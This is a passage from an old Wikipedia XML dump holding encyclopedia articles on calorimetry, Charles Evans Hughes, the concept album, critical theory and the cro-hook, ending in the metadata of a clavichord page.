At all temperatures above [[absolute zero]], atoms possess varying amounts of [[kinetic energy]] of vibration. As neighboring atoms collide with each other, this energy is passed back and forth.  Although the energy of individual atoms may vary as a result of these energy-sharing collisions, a collection of atoms isolated from the outside world has a total amount of energy that doesn't change as it gets passed around from atom to atom.  Conceptually, an average energy per atom can be calculated by dividing the total energy by the number of atoms.

Although we don't know the total energy of an object's atoms or perform that calculation directly, we can measure the effect of that average kinetic energy - it is that object's temperature.  An increase in the average kinetic  energy of the atoms in the object show up as an increase in its temperature and vice versa.

If an object is isolated from the rest of the universe, its temperature must stay constant.  If energy enters or leaves, the temperature must change.  Energy moving from one place to another is called  '''[[heat]]''' and calorimetry uses the measurement of temperature changes to track the movement of heat.

===Constant-volume===
''Constant-volume calorimetry'' is [[calorimetry]] performed at a constant [[volume]]. This involves the use of a [[constant-volume calorimeter]].

No work is performed in constant-volume calorimetry, so the heat measured equals the change in internal energy of the system. The equation for constant-volume calorimetry is:

:&lt;math&gt;q = C_V \Delta t = \Delta U \,&lt;/math&gt;

Since in ''constant-volume calorimetry'' [[pressure]] is not kept constant, the heat measured does not represent the ''[[enthalpy]] change''.

=== Constant-pressure ===

''Constant-pressure calorimetry'' is [[calorimetry]] performed at a constant [[pressure]]. This involves the use of a [[constant-pressure calorimeter]].

The heat measured equals the change in internal energy of the system minus the work performed:

: &lt;math&gt; q = \Delta U - w  \,&lt;/math&gt;

Since in ''constant-pressure calorimetry'', [[pressure]] is kept constant, the heat measured represents the ''enthalpy change'':

: &lt;math&gt;q = \Delta H = H_\mathrm{final} - H_\mathrm{initial} \,&lt;/math&gt;

== See also ==

* [[Enthalpy]]

== External links ==

* [http://www.parrinst.com?page_id=183 More Information, History - from Parr with over 100 years of Calorimetry]

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  <page>
    <title>Charles Evans Hughes</title>
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      <contributor>
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      <text xml:space="preserve">{{Infobox US Chief Justice|image name=Chief Justice Charles Evans Hughes.jpg
| name=Charles Evans Hughes
| term start=[[February 24]], [[1930]]
| term end=[[June 30]], [[1941]]
| predecessor=[[William Howard Taft]]
| successor=[[Harlan Fiske Stone]]
| date of birth=[[April 11]], [[1862]]
| place of birth=[[Glens Falls, New York|Glens Falls]], [[New York]]
| date of death=[[August 27]], [[1948]]
| place of death=[[Osterville, Massachusetts|Osterville]], [[Massachusetts]]
}}

'''Charles Evans Hughes''' ([[April 11]], [[1862]] &amp;ndash; [[August 27]], [[1948]]) was [[Governor of New York]], [[United States Secretary of State]], and [[Chief Justice of the United States]].

Hughes was a precocious youngster. At age 6 he found public school boring and confining, and submitted to his parents a plan of study for [[home schooling]], which his parents accepted. Shortly before his 12th birthday, his family moved from [[Glens Falls, New York]] to [[New York City]], where his parents enrolled him in public school, and he graduated from high school at age 13, second in his class. His father was a Baptist minister from Wales, so he too followed the Baptist religion.

He went to Madison College (now [[Colgate University]]) for two years (where he became a member of [[Delta Upsilon]] Fraternity), then transferred to [[Brown University]], where he continued as a member of [[Delta Upsilon]] Fraternity, where he graduated in [[1881]] at age 19, youngest in his class, receiving third-highest honors. For the next year, he worked at Delaware Academy, in [[Delhi, New York]] where he taught Greek, [[Latin]] and [[algebra]], in order to earn money to enter [[law school]]. He entered [[Columbia University]] law school in [[1882]], and graduated in [[1884]] with highest honors.

In [[1885]] he met Antoinette Carter, daughter of a senior partner of the law firm where he worked, and married her in [[1888]].

In [[1891]] he left the practice of law to become a professor at [[Cornell University]] Law School, but in [[1893]] he returned to his old law firm.

In [[1905]] he was appointed counsel to a New York state legislative committee investigating utility rates. He uncovered corruption to get gas rates lowered in [[New York City]]. As a result, he was appointed to investigate the [[insurance]] industry in New York.

[[Image:Charles Hughes whistle stop 1916.jpg|thumb|left|[[1916]] Republican candidate for [[President of the United States]], Charles Evans Hughes, and his wife shake hands with supporters at [[Chicago, Illinois|Chicago]]'s [[Union Station (Chicago)|Union Station]].]]
He served as [[Governor of New York]] from [[1907]]&amp;ndash;[[1910]], defeating [[William Randolph Hearst]] in the [[1906]] election to gain the position, and being the only [[Republican Party (United States)|Republican]] statewide candidate to win office. In [[1908]] he was offered the [[Vice President of the United States of America|vice-presidential]] nomination by [[William Howard Taft]], but declined it to run again for Governor.

In 1909 he led the Charge to incorporate [[Delta Upsilon]] Fraternity and created a headquarters for the organization in Indianapolis, IN.  He served as the first International president of the Fraternity which was the first fraternity to incorperate.  Today several other fraternities have followed Hughes' lead by incorperating and located in Indianapolis.

Subsequently he was appointed an [[Associate Justice of the Supreme Court of the United States|Associate Justice]] of the [[Supreme Court of the United States|Supreme Court]], serving [[1910]]&amp;ndash;[[1916]], when he resigned to be Republican candidate for [[U.S. presidential election|election]] as [[President of the United States]]. Defeated by [[Woodrow Wilson]] in a close election, he returned to private law practice. {{see|U.S. presidential election, 1916}}

In [[1920]], Hughes favored the ratification of the treaty creating the [[League of Nations]]. 

His next position in the United States government was [[United States Secretary of State|Secretary of State]] under [[Warren G. Harding]]  and [[Calvin Coolidge]] from [[1921]]&amp;ndash;[[1925]]. As Secretary of State, he convened the [[Washington Conference]] in [[1921]], regulating naval armament among the [[Great Powers]].  In the [[1920s]] he served as a judge of the [[Permanent Court of Arbitration]] and the [[Permanent Court of International Justice]] in [[The Hague]], [[The Netherlands]]. [[Herbert Hoover]], who had appointed Hughes' son  as [[United States Solicitor General|Solicitor General]] in [[1929]],  appointed Hughes to [[Chief Justice of the United States]] in [[1930]], in which capacity he served until [[1941]]. As Chief Justice, he led the fight against [[Franklin D. Roosevelt]]'s attempt to [[Court-packing Bill|pack the Supreme Court]].

== External links ==	 
*[http://shwi.alternatehistory.com/Mr%20Hughes%20Goes%20to%20War.txt &quot;Mr. Hughes Goes to War&quot;] (An [[Alternate history (fiction)|alternate history]] where Hughes is elected President of the United States in 1916)

===Archives===
* [http://air.fjc.gov/servlet/tGetMan?jid=1113  '''Judge Manuscript Information: Charles Evans Hughes'''].  List of archives with documents via [http://air.fjc.gov/history/judges_frm.html Judges of the United States Courts]. Retrieved April 15, 2005.

===Legal opinions as Chief Justice===
* [http://www.michaelariens.com/ConLaw/cases/joneslaughlin.htm NLRB v. Jones &amp; Laughlin Steel Corp., 301 U.S. 1 (1937)].  
* [http://www.michaelariens.com/ConLaw/cases/westcoasthotel.htm West Coast Hotel v. Parrish, 300 U.S. 379 (1937)]

&lt;!-- Succession table --&gt;
{{start box}}
{{succession box|
  title= [[Governor of New York]]|
  years=1907 - 1910 |
  before= [[Frank W. Higgins]]|
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[[Category:1862 births|Hughes, Charles Evans]]
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[[ja:チャールズ・E・ヒューズ]]</text>
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  <page>
    <title>Concept album</title>
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      <contributor>
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      <comment>not even arguably the first - mccartney acknowledged there were others before him that tackled a concept album</comment>
      <text xml:space="preserve">[[Image:Pepper's.jpg|right|thumb|300px|[[Sgt. Pepper's Lonely Hearts Club Band]], the most famous and one of the first concept albums in rock and roll.]]

In [[popular music]] a '''concept album''' is an [[album]] which is pre-planned (conceived), most often with all songs contributing to [[Metanarrative|a single overall theme or unified story]], this plan or story being the [[concept]]. This is in contrast to the standard practice of an artist or group releasing an album consisting of a number of unconnected songs that the members of the group or the artist have written, or have chosen to perform or cover.  Given that the suggestion of something as vague as an overall mood often tags a work as being a concept album, a precise definition of the term proves highly problematic.

In the meaning attributed to the words &quot;concept album&quot; in the contemporary rock era (from 1966 onwards - the point at which critics started to differentiate between &quot;pop music&quot; and &quot;rock music&quot; as a more serious form) - there were broadly speaking two genres of concept album:  those that were essentially thematically-linked song cycles such as [[The Beatles]]' ''[[Sgt. Pepper's Lonely Hearts Club Band]]'' which did not claim a storyline, and those that presented a narrative story that threaded the songs - such as [[The Who]]'s ''[[Tommy (rock opera)| Tommy]]''.   Music critics of that era did not usually distinguish between the two genres of concept album. An album that met either criterion was commonly referred to as a concept album.  However, the distinction between the two types of concept album is instructive to note in respect of claims that are made as to which album may have been the &quot;first&quot; concept album in the rock era.  Given this legitimate distinction - there are probably several contenders in each genre.

What could very loosely be considered the first concept albums were released in the late 1930s by singer [[Lee Wiley]] on the [[Liberty Records]] label, featuring eight songs on four 78s by great [[showtunes]] composers of the day, such as [[Harold Arlen]] and [[Cole Porter]], anticipating more comprehensive efforts by [[Verve Records]] impresario [[Norman Granz]] with [[Ella Fitzgerald]] by almost two decades.  In [[folk music]], [[Woody Guthrie]]'s 1940 debut album ''[[Dust Bowl Ballads]]'' is also an early possibility.  In 1973 country and pop music icon Bobby Bare recorded &quot;Lullabys, Legends and Lies&quot; which was written by Shel Silverstein.  The record was arguably the first Concept Album for country music.

[[Frank Sinatra]], both with early albums originally released as 78s for [[Columbia Records]] such as ''[[The Voice]]'' from 1945, and continuing through his thematically programmed albums of the 1950s for [[Capitol Records]] starting with the ten-inch 33s ''[[Songs for Young Lovers]]'' and ''[[Swing Easy]]'', is generally credited with both popularizing and developing the concept album, and it was at this time that the specific term was first used.  &lt;!-- This claim was in a previous version of the article.  Is it true?  Does anyone have a source for it? --&gt;  Perhaps the first full Sinatra concept album example is ''[[In the Wee Small Hours]]'' from 1955, where the songs – all ballads – were specifically recorded for the album, and organized around a central mood of late-night isolation and aching lost love, and the album cover strikingly reinforced that theme.

However, notion of a concept album did not really gel at that point, and was not widely imitated, aside from occasional examples such as [[country music|country]] singer [[Marty Robbins]]' ''[[Gunfighter Ballads and Trail Songs]]'' from 1959, or, as the first example from rock, ''[[Little Deuce Coupe]]'' from 1963 by [[The Beach Boys]], each of whose 12 songs were about America's car culture.

In 1966, several rock releases were arguably concept albums in the sense that they presented a set of themetically-linked songs - and they also instigated other rock artists to consider using the album format in a similar fashion:  ''[[Pet Sounds]]'', again by the Beach Boys, a masterful musical portrayal of [[Brian Wilson]]'s would-be state of mind (and a huge inspiration to [[Paul McCartney]]); the [[Mothers of Invention]]'s sardonic farce about rock music and America as a whole, ''[[Freak Out!]]''; and ''[[Face to Face (The Kinks album)|Face to Face]]'' by [[The Kinks]], the first collection of [[Ray Davies]]'s idiosyncratic character studies of ordinary people.  However, none of these attracted a wide commercial audience.

This all changed with [[The Beatles]]' celebrated 1967 album ''[[Sgt. Pepper's Lonely Hearts Club Band]]''. With this release in June of 1967, the notion of the concept album came to the forefront of the popular and critical mind, with the earlier prototypes and examples from [[classic pop]] and other genres sometimes forgotten.  The phrase entered the popular lexicon.  And a &quot;concept album&quot; - the term became imbued with the notion of artistic purpose - was inherently considered to be somehow more creative or worthy of attention than a mere collection of new songs.  This perception of course related to the '''intent''' of the artist rather than the specific content. 

In fact, as pointed out by many critics since its original reception, ''Sgt. Pepper'' is a concept album only by some definitions of the term. There was, at some stage during the making of the album an attempt to relate the material to an obscure radio play about the life of an ex-army bandsman and his shortcomings but this concept was lost in the final production.  On it, the Beatles supposedly adopt fictionalized personae, and the title song, styled as the theme song of the fictional &quot;Lonely Hearts Club Band&quot;, wraps around the rest of the album like bookends.  However, most of the songs on the album are narratively unrelated to the theme, and the fictional characters have little life beyond the introduction of [[Ringo Starr]] as &quot;Billy Shears&quot; in the segue between the first two tracks.  On the other hand, the slice-of-life character miniatures and short story structure of many of the songs, especially those penned primarily by [[Paul McCartney]], echo elements commonly found in other thematic works such as [[musicals]] and [[opera]].  This feeling was reinforced by the album's device use of running musical tracks one after the other (without a pause) or linked with transitions rather than the customary silent space between tracks.  Even more striking was the album's opulent cover, packaged inserts, and full lyrics printed on the back, all of which suggested a unified work more than just a collection of songs.  In any case, while debate exists over the extent to which ''Sgt. Pepper'' qualifies as a true concept album, there is no doubt that its reputation as such helped inspire other artists to produce concept albums of their own, and inspired the public to anticipate them.   The Beatles themselves were very proud of ''Sgt. Pepper'' for its artistic achievements but both Lennon and McCartney distanced themselves from the &quot;concept album&quot; tag as applied to that album.

In the wake of the ''Sgt. Pepper'' triumph, concept albums became the rage among serious rock artists, with mixed results.  The [[Rolling Stones]] attempted to duplicate ''Sgt. Pepper'' with more explicitly drug and occult-inspired overtones with ''[[Their Satanic Majesties Request]]'', but it proved to be a commercial and artistic failure, one that the Stones quickly learned from and moved on. The album made no attempt to fashion a concept around the disparate songs on the album.  The unifying nature of the album (such as it was) came primarily from the musical atmosphere and the subject matter of the lyrics.  And the psychedelic cover art.  The Stones themselves never identified the album as a concept album.

The album ''[[S.F. Sorrow]]'' (released in December 1968) by British group [[The Pretty Things]] is generally considered to be among the first creatively successful rock concept albums - in that each song is part of an overarching unified concept -- the life story of the main character, Sebastian Sorrow. Despite its effective production qualities and strong material, and although it received almost unanimously glowing reviews on release, the album was not a major commercial success.  However, the fact that the album format had now been effectively used to present a threaded storyline was noted by other artists such as [[Pete Townshend]] of [[The Who]] and [[Ray Davies]] of [[The Kinks]] - both of whom were already working on their own projects in this genre.  In this respect, the Pretty Things album did have an impact on some influential artists and on rock culture itself.  Prior to this release - the band had been considered an R&amp;B ([[rhythm and blues]]) band - but their venture into producing a concept album did at least result in the band being re-cast in general perception as a [[progressive rock]] band - an important and valuable transition at that time.

Released just five months later in April 1969, was the &quot;[[rock opera]]&quot; ''[[Tommy (rock opera)|Tommy]]'' composed by [[Pete Townshend]] and performed by [[The Who]]. This acclaimed work was presented over two discs (still unusual in those days) and it took the idea of thematically based albums to a much higher appreciation by both critics and the public. It was also the first ''story-based'' concept album of the rock era (as distinct from the ''song-cycle'' style album) to enjoy commercial success. The Who went on to further explorations of the concept album format with their follow-up project ''[[Lifehouse (album)|Lifehouse]]'' - which was abandoned before completion and with their 1973 rock opera ''[[Quadrophenia]]''.

Five months after the release of ''Tommy'' [[The Kinks]] released their own rock opera ''[[Arthur (Or the Decline and Fall of the British Empire)]]'' (September 1969) written by [[Ray Davies]] - the first of several concept albums released by the band through the first few years of the 1970s.  These were: ''[[Lola versus Powerman and the Moneygoround, Part One]]'' (1970), ''[[Preservation Act 1]]'' (1973), ''[[Preservation Act 2]]'' (1974),  ''[[Soap Opera (album)|Soap Opera]]'' (1975) and ''[[Schoolboys in Disgrace]]'' (1976)

Two albums released in the autumn of 1967 were also concept albums - though they did not get the same media attention later accorded to [[The Who]]'s ''[[Tommy (rock opera)|Tommy]]''.

''[[Days of Future Passed]]'' (1967) by the [[Moody Blues]], alternated songs by the group with orchestral interludes to document a typical &quot;everyman's day&quot;. Though music critics did not accord the album or the band the same respect given to bands deemed to have more ''street credibility'' such as [[The Who]] and [[The Kinks]] - the album was very successful commercially. 

''[[The Story of Simon Simopath]]'' by [[Nirvana (UK band)|Nirvana]] produced by Island Records' founder [[Chris Blackwell]] was issued in October 1967 in a &quot;gatefold cover&quot; (most unusual packaging for a debut album) which presented a text giving the storyline of the album - described as a &quot;science fiction pantomime&quot;.  The album attracted positive critical attention but did not enjoy big sales in the UK.   

Concept albums are especially common in the [[progressive rock]] genre of the 1970s, although rarely did that equal a lasting commercial or critical legacy for the band or artist involved.  Most notably, [[Pink Floyd]] recast itself from its 1960s guise as a quirky, intermittently successful psychedelic band into a cash-generating monster with its classic series of concept albums, beginning with ''[[Dark Side of the Moon]]'' from 1973. Ian Anderson of Jethro Tull wrote a number of successful concept albums, notably &quot;Thick as A Brick&quot; which was long song about 40 minutes in length and which included material intended to &quot;spoof&quot; the concept album genre.  But in the mid to late 1970's, concept albums grew to be plagued by the suffocating nature of ever more pretentious, self-conscious themes.  These themes tended to drive the songwriters, and the quality of the individual songs suffered.  A prime example of this was [[Styx]]' overblown and unintentionally humorous 1983 album ''[[Kilroy Was Here (album)|Kilroy Was Here]]'', a late and poorly received entry into the genre that effectively marked the end of the 1970's-style theatrical rock operas. (although [[Queensrÿche]]'s ''[[Operation: Mindcrime]]'' was able to find critical and commercial success.)

Within the [[progressive metal]] genre, [[Dream Theater]] ended the 20th Century with ''Metropolis Part 2: [[Scenes from a Memory]]'' in 1999.  This concept album was a sequel to their original song from their 1992 album [[Images and Words]], about a present day man's nightmares of his death in his previous life in 1928.

In the intervening decades, concept albums have often been out of vogue, but [[Radiohead]] duplicated that kind of acceptance both from the critics and in the marketplace with ''[[OK Computer]]'' from 1997, and the related ''[[Kid A]]'' and ''[[Amnesiac]]'' albums of 2000 and 2001. [[The Mars Volta]] have created two highly complex concept albums. The first of which, ''[[De-Loused in the Comatorium]]'', chronicles the morphine-induced coma of the character Cerpin Taxt.

Since the 1980s, concept albums have been frequent in the [[power metal]] and [[epic metal]] genres.  One of the most notable power metal bands to use the concept ablum is Kamelot.  Kamelot's last two releases, Epica and The Black Halo, are two parts of a tale following the protagonist Ariel and his interations with the many different forms and experiences with the evil Mephisto.  The two album story is based on Goethe's Faust.

Except for [[George Clinton]]'s [[P-Funk]] albums from the 1970's, the first recent [[R&amp;B]] concept album is ''TP.3 Reloaded'', by [[R. Kelly]] released in 2005, which features 5 chapters of the &quot;Trapped... in the Closet&quot; soap opera.  The album received a great deal of press for being ground breaking in the R&amp;B genre.  Kelly subsequently released a ''Trapped... in the Closet'' DVD of music videos containing chapters 1-12, completing the rambling tale of unfaithful lovers. 

An example for a [[Techno]] concept album is Metropolis by [[Jeff Mills]] (2001), yet another alternative score for the [[Metropolis (1927 film)|movie]] of the same name.

An emerging subset is the [[historical album]], which is more closely tied with specific historically accurate references to persons or places.

An ambitious extension of the concept album idea could be realized in a series of albums which all contribute to a single effect or unified story. Contemporary examples include [[Coheed and Cambria]]'s in-progress tetralogy of records and [[mind.in.a.box]]'s ''[[Lost Alone]]'' and ''[[Dreamweb (album)|Dreamweb]]'' albums which describe an on-going sci-fi themed story in a ''[[The Matrix|Matrix]]''-like universe. [[Brave Saint Saturn]] has planned a trilogy to tell the story of mankinds first mission to the planet [[Saturn]]. Arguably the most ambitious of these is [[Sufjan Stevens]]' Fifty-States project, in which he plans to write a series of albums encompassing the concept of the entire [[United States of America]], one for each state, totalling fifty records.  

The concept album genre overlaps with [[rock opera]], of which the most famous early example is [[The Who]]'s aforementioned ''[[Tommy (album)|Tommy]]'' (1969). Like ''Sgt. Pepper'', ''[[Tommy (album)|Tommy]]'' greatly boosted the visibility of the concept album idea, and the genre also overlaps to a lesser extent with [[rock musical]], of which the most famous early example is ''[[Hair (musical)|Hair]]'' (1967).   

This style of album has made its way into the rap genre, namely [[Cage Kennylz]] &amp; [[Camu Tao]]'s [[2001]] release of ''[[Are The Nighthawks (album)]]'' and [[Cage Kennylz]] &amp; [[Tame One]]'s [[2004]] release of ''[[Waterworld (album)]]''. The Nighthawk's album was a trip into the darkside of being a cop, while Waterworld was a blast of [[Phencyclidine|PCP]] induced rhymes, being refered to as a ''drug related themepark''.  Rapper [[Nas (rapper)|Nas]] had also planned for his third release in 1998 to be a double-album entitled ''[[I Am...]]'' that would detail the birth, death, and resurrection of a Jesus-like character known as [[Nastradamus]], but heavy bootlegging forced him to change plans and release two separate albums with many new songs, abandoning the concept he had earlier.  Many of the songs that did not appear on either album were subsequently released on 2002's ''[[The Lost Tapes]]''.

==See also== 
* [[List of concept albums]]
* [[Program music]] – the classical music analogue

==References==
* [http://scholar.google.com/scholar?hl=en&amp;lr=&amp;safe=off&amp;q=cache:mNQ_tZvEQOIJ:home.uchicago.edu/~travieso/Docs/ConceptAlbum.pdf+%22concept+album%22 University of Chicago Concept Album course notes]

* [http://www.musicweb-international.com/encyclopaedia/c/C211.HTM Musicweb article on concept album]

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  <page>
    <title>Critical theory</title>
    <id>7528</id>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">In the [[humanities]] and [[social sciences]], '''critical theory''' has two quite different meanings with different origins and histories, one originating in [[social theory]] and the other in [[literary criticism]].  Though until recently these two meanings had little to do with each other, since the 1970s there has been some overlap between these disciplines.  This has led to &quot;critical theory&quot; becoming an umbrella term for an array of theories within the academic world of the United Kingdom and the United States.  This article focuses primarily on the differences and similarities between them.

==Critical theory (social theory)==
{{main|Critical theory (Frankfurt School)}}
The first meaning of  the term ''critical theory'' was that defined by [[Max Horkheimer]] of the [[Frankfurt School]] of social science in his 1937 essay ''Traditional and Critical Theory'' :  critical theory is social theory oriented toward critiquing and changing society as a whole, in contrast to traditional theory oriented only to understanding or explaining it.  Horkheimer wanted to distinguish critical theory as a radical, emancipatory form of Marxian theory both from the model of science put forward by [[logical positivism]] and from what he and his colleagues perceived as the covert positivism and authoritarianism of orthodox Marxism and Communism.  It is also central to this notion that critical social theory be directed at the totality of society in its historical specificity, i.e. in the way it had come to be configured at a specific point in time, and that it integrates all of the major social science theories that will help grasp the major dimensions of society, including especially economics, sociology, history, political science, anthropology, and psychology.  Although this conception of critical theory originated with the Frankfurt School, it also prevails among some other recent social scientists, such as [[Pierre Bourdieu]], [[Louis Althusser]] and arguably [[Michel Foucault]] and certain [[feminist]] theorists and social scientists.

This version of &quot;critical&quot; theory derives from [[Kant]]'s (18th-century) and [[Marx]]'s (19th century) use of the term &quot;[[critique]]&quot;, as in Kant's ''[[Critique of Pure Reason]]'' and Marx's notion of his work ''[[Das Kapital]]'' (''Capital'') as &quot;the critique of political economy&quot;.  For Kant's [[transcendental idealism]], &quot;critique&quot; means examining and establishing the limits of the validity of a faculty, type, or body of knowledge, especially through taking stock of the limitations imposed by the fundamental, irreducible concepts in use in that knowledge.  His notion also already associated critique with the disestablishment of false, unprovable, or dogmatic philosophical, social, and political beliefs since for him the critique of reason involved the critique of dogmatic theological and metaphysical ideas and was intertwined with the enhancement of ethical autonomy and the Enlightenment critique of superstition and irrational authority.  Marx explicitly developed this notion into the critique of ideology and linked it with the  practice of social revolution, as in his famous 11th Thesis on Feuerbach, &quot;Philosophers have only interpreted the world in certain ways; the point is to change it&quot;. [http://www.marxists.org/archive/marx/works/1845/theses/theses.htm]

This meaning of &quot;critical theory&quot; originated entirely within the social sciences, and there are works of critical social theory and critical social science that pay no attention and show no awareness of the literary/humanities version of critical theory.

==Critical theory (literary criticism)==
{{main|Literary theory}}
The second meaning of ''critical theory'' is that of theory used in literary criticism – hence &quot;critical theory&quot; -- and in the analysis and understanding of literature and is discussed in greater detail under [[literary theory]].  It is not necessarily oriented toward radical social change or even toward the analysis of society but is focused primarily on the analysis of texts and textlike phenomena.  It originated among literary scholars and in the discipline of literature in the 1960s and 1970s and really came into broad use only since the 1980s, especially as theory used in literary studies became increasingly influenced by Continental philosophy and social theory and thereby became more &quot;theoretical&quot;.

This version of &quot;critical&quot; theory derives from the notion of literary criticism as establishing and enhancing the proper [[aesthetic]] understanding and evaluation of literature, as articulated, for example, in [[Joseph Addison]]'s notion of a critic as one who helps understand and interpret literary works:  &quot;A true critic ought to dwell rather upon excellencies than imperfections, to discover the concealed beauties of a writer, and communicate to the world such things as are worth their observation.&quot; [http://www.ourcivilisation.com/smartboard/shop/fowlerjh/chap20.htm]  This notion of criticism ultimately goes back to Aristotle's ''Poetics'' as a theory of literature.

This meaning of &quot;critical theory&quot; originated entirely within the humanities, and there are works of literary critical theory that pay no attention and show no awareness of the sociological version of critical theory.

==Relationship between the two versions==
These two meanings of critical theory derive from two different intellectual traditions associated with the meaning of criticism and critique, both of which derive ultimately from the Greek word ''kritikos'' meaning judgment or discernment and in their present forms go back to the 18th century.    While they can be considered completely independent intellectual pursuits, increasingly scholars are interested in the areas of critique where the two overlap.

To use an [[epistemological]] distinction introduced by [[Jürgen Habermas]] in 1968 in his ''Erkenntnis und Interesse'' (''Knowledge and Human Interests''), critical theory in literary studies is ultimately a form of [[hermeneutics]], i.e. knowledge via interpretation in order to understand the meaning of human texts and symbolic expressions, obeying the practical interest in mutual understanding, while critical social theory is ultimately a form of self-reflective knowledge involving both understanding and theoretical explanation in order to reduce entrapment in systems of [[domination]] or dependence, obeying the emancipatory interest in expanding the scope of autonomy and reducing the scope of domination.  From this perspective, much literary critical theory, since it is focused on intepretation and explanation rather than on social transformation, would be regarded as positivistic or traditional rather than critical theory in the Kantian or Marxian sense.  Critical theory in literature and the humanities in general does not necessarily involve a [[normative]] dimension, whereas critical social theory does, either through criticizing society from some general theory of [[values]], norms, or oughts, or through criticizing it in terms of its own espoused values.

==Overlap between the two versions of critical theory==
Nevertheless, a certain amount of overlap has come about, initiated both from the critical social theory and the literary-critical theory sides.  It was distinctive of the Frankfurt School version of critical theory from the beginning, especially in the work of [[Max Horkheimer]], [[Theodor Adorno]], [[Walter Benjamin]], [[Herbert Marcuse]], and [[Leo Lowenthal]], because of their focus on the role of false consciousness and ideology in the perpetuation of capitalism, to analyze works of culture, including literature, music, art, both &quot;[[high culture]]&quot; and &quot;[[popular culture]]&quot; or &quot;mass culture.&quot;  Thus it was to some extent a theory of literature and a method of literary criticism (as in Walter Benjamin's interpretation of [[Charles Baudelaire|Baudelaire]], Leo Lowenthal's interpretations of [[Shakespeare]], [[Ibsen]], etc., Adorno's interpretations of [[Kafka]], [[Valery]], [[Balzac]], [[Beckett]], etc.) and (see below) in the 1960s started to influence the literary sort of critical theory.

===Within social theory===
In the late 1960s [[Juergen Habermas]] of the Frankfurt School,  redefined critical theory in a way that freed it from a direct tie to Marxism or the prior work of the Frankfurt School.  In Habermas's epistemology, critical knowledge was conceptualized as knowledge that enabled human beings to emancipate themselves from forms of domination through self-reflection and took psychoanalysis as the paradigm of critical knowledge.  This expanded considerably the scope of what counted as critical theory within the social sciences, which would include such approaches as [[World Systems Theory|world systems theory]], [[feminist theory]], [[postcolonial theory]], [[critical race theory]], [[queer theory]], [[social ecology]], the theory of communicative action ([[Habermas]]), [[structuration theory]], and [[neo-Marxian theory]].

===Within literary theory===
From the literary side, starting in the 1960s literary scholars, reacting especially against the [[New Criticism]] of the previous decades, which tried to analyze literary texts purely internally, began to incorporate into their analyses and interpretations of literary works initially [[semiotic]], [[linguistic]], and interpretive theory, then [[structuralism]], Lacanian psychoanalysis, [[post-structuralism]], and [[deconstruction]] as well as  Continental philosophy, especially [[phenomenology]] and [[hermeneutics]], and critical social theory and various other forms of neo-Marxian theory.  Thus literary criticism became highly theoretical and some of those practicing it began referring to the theoretical dimension of their work as &quot;critical theory&quot;, i.e. philosophically inspired theory of literary criticism.  And thus incidentally critical theory in the sociological sense also became, especially among literary scholars of left-wing sympathies, one of a number of influences upon and streams within critical theory in the literary sense.

Furthermore, along with the expansion of the mass media and mass/popular culture in the 1960s and 1970s and the blending of social and cultural criticism and literary criticism, the methods of both kinds of critical theory sometimes intertwined in the analysis of phenomena of popular culture, as in the emerging field of [[cultural studies]], in which concepts deriving from Marxian theory, post-structuralism, semiology, psychoanalysis and feminist theory would be found in the same interpretive work.  Both strands were often present in the various modalities of [[Postmodern philosophy|postmodern theory]].

==Language and construction==
The two points at which there is the greatest overlap or mutual impingement of the two versions of critical theory are in their interrelated foci on language, symbolism, and communication and in their focus on construction.

===Language and communication===
From the 1960s and 1970s onward, language, symbolism, text, and meaning became foundational to theory in the humanities and social sciences, through the short-term and long-term influences of [[Ludwig Wittgenstein]], [[Ferdinand de Saussure]], [[George Herbert Mead]], [[Noam Chomsky]], [[Hans-Georg Gadamer]], [[Roland Barthes]], [[Jacques Derrida]] and other thinkers in the traditions of linguistic and analytic philosophy, structural linguistics, symbolic interactionism, hermeneutics, semiology, linguistically oriented psychoanalysis (Lacan, Lorenzer), deconstruction.  When, in the 1970s and 1980s, Habermas also redefined critical social theory as a theory of communication, i.e. communicative competence and communicative rationality on the one hand, distorted communication on the other, the two versions of critical theory began to overlap or intertwine to a much greater degree than before.  

===Construction===
Both versions of critical theory have focused on the processes of synthesis, production, or construction by which the phenomena and objects of human communication, culture, and consciousness come about.  Whether it is through the transformational rules by which the deep structure of language becomes its surface structure (Chomsky), the universal pragmatic principles through which mutual understanding is generated (Habermas), the semiotic rules by which objects of daily usage or of fashion obtain their meanings (Barthes), the psychological processes by which the phenomena of everyday consciousness are generated (psychoanalytic thinkers), the ''[[episteme]]'' that underlies our cognitive formations (Foucault), and so on, there is a common interest in the processes (often of a linguistic or symbolic kind) that give rise to observable phenomena.  Here there is significant mutual influence among aspects of the different versions of critical theory.  Ultimately this emphasis on production and construction goes back to the revolution wrought by [[Kant]] in philosophy, namely his focus in the ''[[Critique of Pure Reason]]'' on synthesis according to rules as the fundamental activity of the mind that creates the order of our experience.

== See also ==
*Lists:
** [[List of major critical theorists]]
** [[List of works in critical theory]]
*Related subjects:
** [[Continental philosophy]]
** [[Cultural studies]]
** [[Culture theory]]
** [[Critical management studies]]
** [[Literary theory]]
** [[Political philosophy]]
** [[Comparative Literature]]

==References==
*An accessible primer for the literary aspect of critical theory is Jonathan Culler's ''Literary Theory: A Very Short Introduction'' ISBN 019285383X
*A survey of and introduction to the current state of critical social theory is Craig Calhoun's ''Critical Social Theory: Culture, History, and the Challenge of Difference'' (Blackwell, 1995) ISBN 1557862885
*[[Otto Maria Carpeaux]]. The collected essays and his History cover and discuss in depth critical theories from all european and american movements up to the late 70's.

==External links ==
* [http://plato.stanford.edu/entries/critical-theory/ &quot;Critical Theory&quot;, Stanford Encyclopedia of Philosophy]
* [http://www.nplusonemag.com/theory.html &quot;Death is Not the End&quot;] [[N+1]] magazine's short history of academic critical theory.
[[Category:Critical theory]]
[[Category:Postmodernism]]

[[de:Kritische Theorie]]
[[pt:Teoria Crítica]]
[[zh:&amp;#25209;&amp;#21028;&amp;#29702;&amp;#35542;]]</text>
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  <page>
    <title>Cro-hook</title>
    <id>7530</id>
    <revision>
      <id>41231819</id>
      <timestamp>2006-02-25T23:17:25Z</timestamp>
      <contributor>
        <username>Samosa Poderosa</username>
        <id>536325</id>
      </contributor>
      <comment>remove broken link</comment>
      <text xml:space="preserve">The '''cro-hook''' is a special double-ended [[crochet hook]] used to make double-sided [[crochet]]. Because the hook has two ends, two colours of thread can be handled at once and freely interchanged.

[[Category:Crochet]]

{{tool-stub}}</text>
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  </page>
  <page>
    <title>Clavichord</title>
    <id>7531</id>
    <revision>
      <id>41882177</id>
      <timestamp>2006-03-02T09:33:30Z</timestamp>
      <contributor>
        <username>Missmarple</username>
        <id>207003</id>
      </contributor>
      <minor />
      <comment>fix a link</comment>
